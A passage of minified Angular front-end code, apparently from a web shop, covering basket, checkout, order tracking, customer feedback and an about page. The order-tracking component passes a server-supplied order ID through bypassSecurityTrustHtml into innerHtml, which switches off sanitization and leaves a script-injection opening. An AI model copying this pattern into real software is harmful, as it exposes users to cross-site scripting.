r=i.quantity+o;this.basketService.put(e,{quantity:r<1?1:r}).subscribe(()=>{this.load(),this.basketService.updateNumberOfCartItems()},l=>{this.snackBarHelperService.open(l.error?.error,"errorBar"),console.log(l)})},i=>{console.log(i)})}sendToParent(e){this.emitTotal.emit([this.itemTotal,this.bonus]),this.emitProductCount.emit(e)}isDeluxe(){return this.deluxeGuard.isDeluxe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ht),t.Y36(X),t.Y36(R),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-purchase-basket"]],inputs:{allowEdit:"allowEdit",displayTotal:"displayTotal",totalPrice:"totalPrice"},outputs:{emitTotal:"emitTotal",emitProductCount:"emitProductCount"},decls:27,vars:10,consts:[[3,"dataSource"],["matColumnDef","image"],["style","display: none;",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","20%","class","content-align",4,"matCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","20%","class","content-align",4,"matFooterCellDef"],["matColumnDef","product"],["fxFlex","35%","fxFlex.lt-md","30%","style","font-size: initial;",4,"matCellDef"],["fxFlex","35%","fxFlex.lt-md","30%",4,"matFooterCellDef"],["matColumnDef","quantity"],["fxFlex","16%","fxFlex.lt-md","35%","class","content-align",4,"matCellDef"],["fxFlex","16%","fxFlex.lt-md","35%","class","header-align",4,"matFooterCellDef"],["matColumnDef","price"],["fxShow","","fxHide.lt-md","","fxFlex","16%","style","font-size: initial;",4,"matCellDef"],["fxShow","","fxHide.lt-md","","fxFlex","16%",4,"matFooterCellDef"],["matColumnDef","remove",4,"ngIf"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],[4,"ngIf"],["id","price",4,"ngIf"],[2,"display","none"],["fxShow","","fxHide.lt-md","","fxFlex","20%",1,"content-align"],[1,"img-responsive","img-thumbnail",3,"src","alt"],["fxFlex","35%","fxFlex.lt-md","30%",2,"font-size","initial"],["fxFlex","35%","fxFlex.lt-md","30%"],["fxFlex","16%","fxFlex.lt-md","35%",1,"content-align"],["mat-icon-button","",3,"click",4,"ngIf"],[2,"font-size","initial"],["mat-icon-button","",3,"click"],[1,"fas","fa-minus-square"],[1,"fas","fa-plus-square"],["fxFlex","16%","fxFlex.lt-md","35%",1,"header-align"],["fxShow","","fxHide.lt-md","","fxFlex","16%",2,"font-size","initial"],["fxShow","","fxHide.lt-md","","fxFlex","16%"],["matColumnDef","remove"],["fxFlex","10%","fxFlex.lt-md","15%",4,"matCellDef"],["fxFlex","10%","fxFlex.lt-md","15%",4,"matFooterCellDef"],["fxFlex","10%","fxFlex.lt-md","15%"],[1,"far","fa-trash-alt"],["mat-footer-row","",4,"matFooterRowDef"],["mat-footer-row",""],["id","price"]],template:function(e,o){1&e&&(t.TgZ(0,"h1"),t._uU(1),t.ALo(2,"translate"),t.TgZ(3,"small"),t._uU(4),t.qZA()(),t.TgZ(5,"mat-table",0),t.ynx(6,1),t.YNc(7,Rt,1,0,"mat-header-cell",2),t.YNc(8,_t,2,2,"mat-cell",3),t.YNc(9,Yt,1,0,"mat-footer-cell",4),t.BQk(),t.ynx(10,5),t.YNc(11,Jt,1,0,"mat-header-cell",2),t.YNc(12,ft,2,1,"mat-cell",6),t.YNc(13,y,1,0,"mat-footer-cell",7),t.BQk(),t.ynx(14,8),t.YNc(15,S,1,0,"mat-header-cell",2),t.YNc(16,j,5,3,"mat-cell",9),t.YNc(17,et,2,0,"mat-footer-cell",10),t.BQk(),t.ynx(18,11),t.YNc(19,G,1,0,"mat-header-cell",2),t.YNc(20,it,2,1,"mat-cell",12),t.YNc(21,an,1,0,"mat-footer-cell",13),t.BQk(),t.YNc(22,cn,4,0,"ng-container",14),t.YNc(23,un,1,0,"mat-header-row",15),t.YNc(24,pn,1,0,"mat-row",16),t.YNc(25,mn,2,1,"span",17),t.qZA(),t.YNc(26,gn,3,4,"div",18)),2&e&&(t.xp6(1),t.hij(" ",t.lcZ(2,8,"TITLE_BASKET")," "),t.xp6(3),t.Oqu(o.userEmail),t.xp6(1),t.Q6J("dataSource",o.dataSource),t.xp6(17),t.Q6J("ngIf",o.allowEdit),t.xp6(1),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns),t.xp6(1),t.Q6J("ngIf",o.displayTotal),t.xp6(1),t.Q6J("ngIf",o.totalPrice))},dependencies:[h.O5,p.yH,$.b8,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.mD,d.Ke,d.ge,d.ev,d.yh,d.XQ,d.Gk,d.Q2,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.img-thumbnail[_ngcontent-%COMP%]{height:auto;width:90px}mat-cell[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:15px;padding-left:10px;padding-right:10px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}mat-footer-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.mat-footer-cell[_ngcontent-%COMP%]{font-weight:700}.content-align[_ngcontent-%COMP%]{display:flex;justify-content:center}#price[_ngcontent-%COMP%]{font-size:large;margin-top:30px;text-align:right;width:100%}"]}),n})();const hn=function(n){return{bonus:n}};O.vI.add(g.bMA);let _n=(()=>{class n{constructor(e,o){this.router=e,this.ngZone=o,this.productCount=0,this.bonus=0}checkout(){var e=this;this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/address/select"])}))}getProductCount(e){this.productCount=e}getBonusPoints(e){sessionStorage.setItem("itemTotal",e[0]),this.bonus=e[1]}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-basket"]],decls:8,vars:8,consts:[[1,"mat-elevation-z6"],[3,"allowEdit","emitTotal","emitProductCount"],["id","checkoutButton","color","primary","mat-raised-button","",1,"checkout-button",3,"disabled","click"],[1,"fas","fa-cart-arrow-down"],["translate","",1,"hint",3,"translateParams"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"app-purchase-basket",1),t.NdJ("emitTotal",function(r){return o.getBonusPoints(r)})("emitProductCount",function(r){return o.getProductCount(r)}),t.qZA(),t.TgZ(2,"button",2),t.NdJ("click",function(){return o.checkout()}),t._UZ(3,"i",3),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"div",4),t._uU(7,"CHECKOUT_FOR_BONUS_POINTS"),t.qZA()()),2&e&&(t.xp6(1),t.Q6J("allowEdit",!0),t.xp6(1),t.Q6J("disabled",o.productCount<1),t.xp6(2),t.hij(" ",t.lcZ(5,4,"BTN_CHECKOUT")," "),t.xp6(2),t.Q6J("translateParams",t.VKq(6,hn,o.bonus)))},dependencies:[u.Pi,x.lW,T.a8,_e,u.X$],styles:[".container[_ngcontent-%COMP%]{min-width:420px;width:40%}mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);justify-content:center;padding:12px 20px}.mat-row[_ngcontent-%COMP%]{padding-bottom:10px}.mat-column-description[_ngcontent-%COMP%], .mat-column-bonus[_ngcontent-%COMP%], .mat-column-price[_ngcontent-%COMP%]{margin-left:20px}.mat-column-quantity[_ngcontent-%COMP%] button[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{width:20px}.mat-column-quantity[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{width:22px}mat-form-field[_ngcontent-%COMP%]{margin-top:15px;width:100%}mat-expansion-panel[_ngcontent-%COMP%]{margin-bottom:20px}#checkoutButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.hint[_ngcontent-%COMP%]{display:flex;font-size:13px;justify-content:center;margin-top:5px}.payment-label[_ngcontent-%COMP%]{padding-top:10px}"]}),n})(),Qt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/track-order"}find(e){return e=encodeURIComponent(e),this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function fn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",27),t.qZA())}function Cn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",28),t.qZA())}function vn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",29),t.qZA())}function xn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",30),t.qZA())}function bn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",31),t.qZA())}function Tn(n,a){1&n&&(t.TgZ(0,"span"),t._UZ(1,"i",32),t.qZA())}function An(n,a){if(1&n&&(t.TgZ(0,"span",33)(1,"span"),t._UZ(2,"i",34),t.qZA(),t.TgZ(3,"span",35),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.AsE("",e.results.eta," ",t.lcZ(5,2,"LABEL_DAYS"),"")}}function yn(n,a){if(1&n&&(t.TgZ(0,"span",33)(1,"span"),t._UZ(2,"i",36),t.qZA(),t.TgZ(3,"span",35),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.AsE("",e.results.eta," ",t.lcZ(5,2,"LABEL_DAYS"),"")}}function Zn(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function wn(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name,"")}}function Sn(n,a){1&n&&(t.TgZ(0,"mat-header-cell",38),t._uU(1,"LABEL_PRICE"),t.qZA())}function kn(n,a){if(1&n&&(t.TgZ(0,"mat-cell",39),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.price,"\\xa4")}}function In(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function On(n,a){if(1&n&&(t.TgZ(0,"mat-cell",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.quantity,"")}}function Un(n,a){1&n&&(t.TgZ(0,"mat-header-cell",1),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function Ln(n,a){if(1&n&&(t.TgZ(0,"mat-cell",41),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.total,"\\xa4")}}function Pn(n,a){1&n&&t._UZ(0,"mat-header-row")}function Nn(n,a){1&n&&t._UZ(0,"mat-row")}const En=function(n){return{bonus:n}};O.vI.add(g.zVD,g.UO1,g.sUJ,g.$KU,g.J9Y);var at=(()=>{return(n=at||(at={}))[n.New=0]="New",n[n.Packing=1]="Packing",n[n.Transit=2]="Transit",n[n.Delivered=3]="Delivered",at;var n})();let fe=(()=>{class n{constructor(e,o,i){this.route=e,this.trackOrderService=o,this.sanitizer=i,this.displayedColumns=["product","price","quantity","total price"],this.dataSource=new d.by,this.results={},this.status=at.New,this.Status=at}ngOnInit(){this.orderId=this.route.snapshot.queryParams.id,this.trackOrderService.find(this.orderId).subscribe(e=>{this.results.orderNo=this.sanitizer.bypassSecurityTrustHtml(`<code>${e.data[0].orderId}</code>`),this.results.email=e.data[0].email,this.results.totalPrice=e.data[0].totalPrice,this.results.products=e.data[0].products,this.results.eta=void 0!==e.data[0].eta?e.data[0].eta:"?",this.results.bonus=e.data[0].bonus,this.dataSource.data=this.results.products,this.status=e.data[0].delivered?at.Delivered:this.route.snapshot.data.type?at.New:this.results.eta>2?at.Packing:at.Transit})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.gz),t.Y36(Qt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-track-result"]],decls:48,vars:18,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],[3,"innerHtml"],[2,"text-align","center"],[1,"container-fluid","well"],[1,"row","fa-4x"],[4,"ngIf"],["class","fa-layers fa-fw",4,"ngIf"],["fxLayoutAlign","center",1,"table-wrapper"],[1,"table-heading","heading"],["fxLayoutAlign","center"],[1,"mat-elevation-z0",3,"dataSource"],["table",""],["matColumnDef","product"],["translate","",4,"matHeaderCellDef"],["class","product-name",4,"matCellDef"],["matColumnDef","price"],["fxShow","","fxHide.lt-md","","translate","",4,"matHeaderCellDef"],["class","product-price","fxShow","","fxHide.lt-md","",4,"matCellDef"],["matColumnDef","quantity"],["class","product-quantity",4,"matCellDef"],["matColumnDef","total price"],["class","product-total",4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],[1,"bonus-container"],["translate","",3,"translateParams"],[1,"fas","fa-warehouse","confirmation"],[1,"fas","fa-warehouse"],[1,"fas","fa-truck-loading","confirmation"],[1,"fas","fa-truck-loading"],[1,"fas","fa-truck","confirmation"],[1,"fas","fa-truck"],[1,"fa-layers","fa-fw"],[1,"fas","fa-home","confirmation"],[1,"fa-layers-counter","accent-notification",2,"width","max-content"],[1,"fas","fa-home"],[1,"product-name"],["fxShow","","fxHide.lt-md","","translate",""],["fxShow","","fxHide.lt-md","",1,"product-price"],[1,"product-quantity"],[1,"product-total"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1")(2,"span",1),t._uU(3,"TITLE_SEARCH_RESULTS"),t.qZA(),t._uU(4," - "),t._UZ(5,"span",2),t.qZA(),t.TgZ(6,"div",3)(7,"h3",1),t._uU(8,"LABEL_EXPECTED_DELIVERY"),t.qZA(),t.TgZ(9,"div",4)(10,"div",5),t.YNc(11,fn,2,0,"span",6),t.YNc(12,Cn,2,0,"span",6),t.YNc(13,vn,2,0,"span",6),t.YNc(14,xn,2,0,"span",6),t.YNc(15,bn,2,0,"span",6),t.YNc(16,Tn,2,0,"span",6),t.YNc(17,An,6,4,"span",7),t.YNc(18,yn,6,4,"span",7),t.qZA()()(),t.TgZ(19,"div",8)(20,"div",9)(21,"h2",1),t._uU(22,"LABEL_PRODUCT_ORDERED"),t.qZA()()(),t.TgZ(23,"div",10)(24,"mat-table",11,12),t.ynx(26,13),t.YNc(27,Zn,2,0,"mat-header-cell",14),t.YNc(28,wn,2,1,"mat-cell",15),t.BQk(),t.ynx(29,16),t.YNc(30,Sn,2,0,"mat-header-cell",17),t.YNc(31,kn,2,1,"mat-cell",18),t.BQk(),t.ynx(32,19),t.YNc(33,In,2,0,"mat-header-cell",14),t.YNc(34,On,2,1,"mat-cell",20),t.BQk(),t.ynx(35,21),t.YNc(36,Un,2,0,"mat-header-cell",14),t.YNc(37,Ln,2,1,"mat-cell",22),t.BQk(),t.YNc(38,Pn,1,0,"mat-header-row",23),t.YNc(39,Nn,1,0,"mat-row",24),t.qZA()(),t.TgZ(40,"div",25)(41,"h2",26),t._uU(42,"BONUS_POINTS_EARNED"),t.qZA(),t.TgZ(43,"p"),t._uU(44,"("),t._UZ(45,"span",2),t.ALo(46,"translate"),t._uU(47,")"),t.qZA()()()),2&e&&(t.xp6(5),t.Q6J("innerHtml",o.results.orderNo,t.oJD),t.xp6(6),t.Q6J("ngIf",o.status===o.Status.New),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.New),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Packing),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Packing),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Transit),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Transit),t.xp6(1),t.Q6J("ngIf",o.status===o.Status.Delivered),t.xp6(1),t.Q6J("ngIf",o.status!==o.Status.Delivered),t.xp6(6),t.Q6J("dataSource",o.dataSource),t.xp6(14),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(2),t.Q6J("translateParams",t.VKq(16,En,o.results.bonus)),t.xp6(4),t.Q6J("innerHtml",t.lcZ(46,14,"BONUS_FOR_FUTURE_PURCHASES"),t.oJD))},dependencies:[h.O5,u.Pi,p.Wh,$.b8,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,u.X$],styles:["mat-table[_ngcontent-%COMP%], .table-heading[_ngcontent-%COMP%]{width:90%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);height:35px;justify-content:center;padding:0 20px;width:90%}.product-name[_ngcontent-%COMP%]{margin-right:25px}.table-wrapper[_ngcontent-%COMP%]{margin-top:30px}.table-heading[_ngcontent-%COMP%] h4[_ngcontent-%COMP%]{margin-bottom:0}.row.fa-4x[_ngcontent-%COMP%] svg[_ngcontent-%COMP%]{margin-right:10px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.bonus-container[_ngcontent-%COMP%]{align-items:center;box-sizing:border-box;display:flex;flex-direction:column;margin-top:10px;place-content:stretch center}.bonus-container[_ngcontent-%COMP%] h2[_ngcontent-%COMP%]{margin:0;padding:0}"]}),n})(),Lt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Feedbacks"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ce=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/captcha"}getCaptcha(){return this.http.get(this.host+"/").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),rt=(()=>{class n{constructor(e){this._document=e}attachEnterKeyHandler(e,o,i){const r=this._document.getElementById(e),l=this._document.getElementById(o);r.addEventListener("keyup",function(m){m.preventDefault(),13===m.keyCode&&!l.disabled&&i()})}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(h.K0))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var f=c(9549),B=c(4144),ve=c(7314);function Mn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_COMMENT "),t.qZA())}function Dn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}function qn(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"INVALID_CAPTCHA "),t.qZA())}const Fn=function(){return{length:"160"}};O.vI.add(g.Tab,g.XCy);let Bn=(()=>{class n{constructor(e,o,i,r,l,m){this.userService=e,this.captchaService=o,this.feedbackService=i,this.formSubmitService=r,this.translate=l,this.snackBarHelperService=m,this.authorControl=new s.p4({value:"",disabled:!0},[]),this.feedbackControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.captchaControl=new s.p4("",[s.kI.required,s.kI.pattern("-?[\\\\d]*")]),this.userIdControl=new s.p4("",[]),this.rating=0,this.feedback=void 0}ngOnInit(){this.userService.whoAmI().subscribe(e=>{this.feedback={},this.userIdControl.setValue(e.id),this.feedback.UserId=e.id,this.authorControl.setValue(e.email?`***${e.email.slice(3)}`:"anonymous")},e=>{this.feedback=void 0,console.log(e)}),this.getNewCaptcha(),this.formSubmitService.attachEnterKeyHandler("feedback-form","submitButton",()=>{this.save()})}getNewCaptcha(){this.captchaService.getCaptcha().subscribe(e=>{this.captcha=e.captcha,this.captchaId=e.captchaId},e=>e)}save(){this.feedback.captchaId=this.captchaId,this.feedback.captcha=this.captchaControl.value,this.feedback.comment=`${this.feedbackControl.value} (${this.authorControl.value})`,this.feedback.rating=this.rating,this.feedback.UserId=this.userIdControl.value,this.feedbackService.save(this.feedback).subscribe(e=>{5===e.rating?this.translate.get("FEEDBACK_FIVE_STAR_THANK_YOU").subscribe(o=>{this.snackBarHelperService.open(o)},o=>{this.snackBarHelperService.open(o)}):this.translate.get("FEEDBACK_THANK_YOU").subscribe(o=>{this.snackBarHelperService.open(o)},o=>{this.snackBarHelperService.open(o)}),this.feedback={},this.ngOnInit(),this.resetForm()},e=>{console.log(e),this.snackBarHelperService.open(e.error,"errorBar"),this.feedback={},this.resetCaptcha()})}resetForm(){this.authorControl.markAsUntouched(),this.authorControl.markAsPristine(),this.authorControl.setValue(""),this.feedbackControl.markAsUntouched(),this.feedbackControl.markAsPristine(),this.feedbackControl.setValue(""),this.rating=0,this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}resetCaptcha(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}formatRating(e){return`${e}\\u2605`}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(Ce),t.Y36(Lt),t.Y36(rt),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-contact"]],decls:52,vars:26,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["id","feedback-form",1,"form-container"],["hidden","","type","text","id","userId",3,"formControl"],["appearance","outline","color","accent"],["matInput","","type","text","aria-label","Field with the name of the author",3,"formControl"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["id","comment","matInput","","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160","aria-label","Field for entering the comment or the feedback",3,"formControl","placeholder"],["comment",""],["align","end"],["translate","",4,"ngIf"],[1,"rating-container"],["translate","",2,"font-weight","500","margin-right","8px","float","left"],["id","rating","min","1","max","5","thumbLabel","","tickInterval","1","aria-label","Slider for selecting the star rating",3,"value","displayWith","valueChange"],[2,"margin-bottom","10px","margin-top","10px"],[2,"font-weight","500"],["translate","",2,"font-size","small"],["id","captcha","aria-label","CAPTCHA code which must be solved"],[2,"font-size","small"],["id","captchaControl","matInput","","type","text","aria-label","Field for the result of the CAPTCHA code","pattern","-?[\\\\d]*",3,"formControl","placeholder"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to send the review",3,"disabled","click"],[1,"material-icons"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"SECTION_CUSTOMER_FEEDBACK"),t.qZA(),t.TgZ(4,"div",3),t._UZ(5,"input",4),t.TgZ(6,"mat-form-field",5)(7,"mat-label",2),t._uU(8,"LABEL_AUTHOR"),t.qZA(),t._UZ(9,"input",6),t.qZA(),t.TgZ(10,"mat-form-field",5)(11,"mat-label",2),t._uU(12,"LABEL_COMMENT"),t.qZA(),t.TgZ(13,"mat-hint",2),t._UZ(14,"i",7),t.TgZ(15,"em",8),t._uU(16),t.ALo(17,"translate"),t.qZA()(),t._UZ(18,"textarea",9,10),t.ALo(20,"translate"),t.TgZ(21,"mat-hint",11),t._uU(22),t.qZA(),t.YNc(23,Mn,2,0,"mat-error",12),t.qZA(),t.TgZ(24,"div",13)(25,"label",14),t._uU(26,"LABEL_RATING"),t.qZA(),t.TgZ(27,"mat-slider",15),t.NdJ("valueChange",function(r){return o.rating=r}),t.qZA()(),t.TgZ(28,"div",16)(29,"label",17),t._uU(30,"CAPTCHA:"),t.qZA(),t._uU(31,"\\xa0\\xa0"),t.TgZ(32,"span",18),t._uU(33,"LABEL_WHAT_IS"),t.qZA(),t._uU(34,"\\xa0 "),t.TgZ(35,"code",19),t._uU(36),t.qZA(),t._uU(37,"\\xa0"),t.TgZ(38,"label",20),t._uU(39,"?"),t.qZA()(),t.TgZ(40,"mat-form-field",5)(41,"mat-label",2),t._uU(42,"LABEL_RESULT"),t.qZA(),t._UZ(43,"input",21),t.ALo(44,"translate"),t.YNc(45,Dn,2,0,"mat-error",12),t.YNc(46,qn,2,0,"mat-error",12),t.qZA()(),t.TgZ(47,"button",22),t.NdJ("click",function(){return o.save()}),t.TgZ(48,"i",23),t._uU(49," send "),t.qZA(),t._uU(50),t.ALo(51,"translate"),t.qZA()()()),2&e){const i=t.MAs(19);t.xp6(5),t.Q6J("formControl",o.userIdControl),t.xp6(4),t.Q6J("formControl",o.authorControl),t.xp6(7),t.Oqu(t.xi3(17,16,"MAX_TEXTAREA_LENGTH",t.DdM(25,Fn))),t.xp6(2),t.s9C("placeholder",t.lcZ(20,19,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.feedbackControl),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.feedbackControl.invalid&&o.feedbackControl.errors.required),t.xp6(4),t.Q6J("value",o.rating)("displayWith",o.formatRating),t.xp6(9),t.Oqu(o.captcha),t.xp6(7),t.s9C("placeholder",t.lcZ(44,21,"MANDATORY_CAPTCHA")),t.Q6J("formControl",o.captchaControl),t.xp6(2),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.pattern),t.xp6(1),t.Q6J("disabled",o.authorControl.invalid||o.feedbackControl.invalid||o.captchaControl.invalid||!o.rating),t.xp6(3),t.hij(" ",t.lcZ(51,23,"BTN_SUBMIT")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.c5,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,ve.pH,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:30%}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}.rating-container[_ngcontent-%COMP%]{margin-bottom:15px;margin-top:15px}.star[_ngcontent-%COMP%]{color:#c8c8c8}.active[_ngcontent-%COMP%], .select[_ngcontent-%COMP%]{color:gold}[_nghost-%COMP%] .br{margin:0!important}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})();var xe=c(5192);function Rn(n,a){if(1&n&&(t.TgZ(0,"a",15)(1,"button",16),t._UZ(2,"i",17),t._uU(3," Twitter"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.twitterUrl,t.LSH)}}function Yn(n,a){if(1&n&&(t.TgZ(0,"a",18)(1,"button",16),t._UZ(2,"i",19),t._uU(3," Facebook"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.facebookUrl,t.LSH)}}function Jn(n,a){if(1&n&&(t.TgZ(0,"a",20)(1,"button",16),t._UZ(2,"i",21),t._uU(3," Slack"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.slackUrl,t.LSH)}}function Qn(n,a){if(1&n&&(t.TgZ(0,"a",22)(1,"button",16),t._UZ(2,"i",23),t._uU(3," Reddit"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.redditUrl,t.LSH)}}function Hn(n,a){if(1&n&&(t.TgZ(0,"a",24)(1,"button",16),t._UZ(2,"i",25),t._uU(3," Press Kit"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.pressKitUrl,t.LSH)}}function Gn(n,a){if(1&n&&(t.TgZ(0,"a",26)(1,"button",16),t._UZ(2,"i",27),t._uU(3," NFT"),t.qZA()()),2&n){const e=t.oxw(2);t.Q6J("href",e.nftUrl,t.LSH)}}function jn(n,a){if(1&n&&(t.TgZ(0,"div",8)(1,"h3")(2,"span",3),t._uU(3,"SECTION_SOCIAL_MEDIA"),t.qZA()(),t.YNc(4,Rn,4,1,"a",9),t.YNc(5,Yn,4,1,"a",10),t.YNc(6,Jn,4,1,"a",11),t.YNc(7,Qn,4,1,"a",12),t.YNc(8,Hn,4,1,"a",13),t.YNc(9,Gn,4,1,"a",14),t.qZA()),2&n){const e=t.oxw();t.xp6(4),t.Q6J("ngIf",e.twitterUrl),t.xp6(1),t.Q6J("ngIf",e.facebookUrl),t.xp6(1),t.Q6J("ngIf",e.slackUrl),t.xp6(1),t.Q6J("ngIf",e.redditUrl),t.xp6(1),t.Q6J("ngIf",e.pressKitUrl),t.xp6(1),t.Q6J("ngIf",e.nftUrl)}}O.vI.add(Z.neY,Z.mdU,Z.SrY,Z.HK3,D.Xg,D.T,g.Tab,g.q2v);let Kn=(()=>{class n{constructor(e,o,i){this.configurationService=e,this.feedbackService=o,this.sanitizer=i,this.slideshowDataSource=[],this.images=["assets/public/images/carousel/1.jpg","assets/public/images/carousel/2.jpg","assets/public/images/carousel/3.jpg","assets/public/images/carousel/4.jpg","assets/public/images/carousel/5.png","assets/public/images/carousel/6.jpg","assets/public/images/carousel/7.jpg"],this.stars=[null,\'<i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="fas fa-star"></i><i class="far fa-star"></i>\',\'<i class="fas 